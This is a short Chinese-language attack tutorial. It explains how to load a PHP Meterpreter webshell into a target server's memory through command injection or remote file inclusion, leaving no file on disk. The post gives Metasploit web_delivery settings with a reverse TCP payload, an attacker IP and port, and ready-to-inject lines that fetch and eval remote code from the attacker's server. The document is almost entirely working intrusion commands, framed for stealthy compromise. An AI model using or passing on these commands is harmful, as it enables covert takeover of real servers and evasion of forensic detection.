背景:目标设备存在远程文件包含漏洞或者命令注入漏洞,想在目标设备上加载webshell,但不想在目标设备硬盘上留下任何webshell文件信息
解决思路:让目标设备从远端服务器加载webshell代码至内存执行
错误尝试:远端服务器开启web服务,让目标设备来调取。(错误点:默认情况下目标设备来调取的时候其实是将webshell在远端服务器执行,并不是将文件加载至自己内存执行)
正确方法与工具:使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)。
具体使用步骤:
1、use exploit/multi/script/web_delivery
2、set target PHP ====>因为一般web平台默认支持PHP,所以我们选择兼容性最好的PHP做webshell
3、set payload php/meterpreter/reverse_tcp ====>选择php写的meterpreter
4、set lhost 172.20.163.160
5、set lport 1111
6、run
运行成功后显示(只需让目标设备在系统命令下执行标红部分命令就可得到对方shell):
利用方式:
1、命令注入漏洞:
在注入点注入: php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.20.163.160:1111/OgsOFaj3yKH'));"
2、远程文件包含漏洞:
在包含漏洞处包含: http://172.20.163.160:1111/OgsOFaj3yKH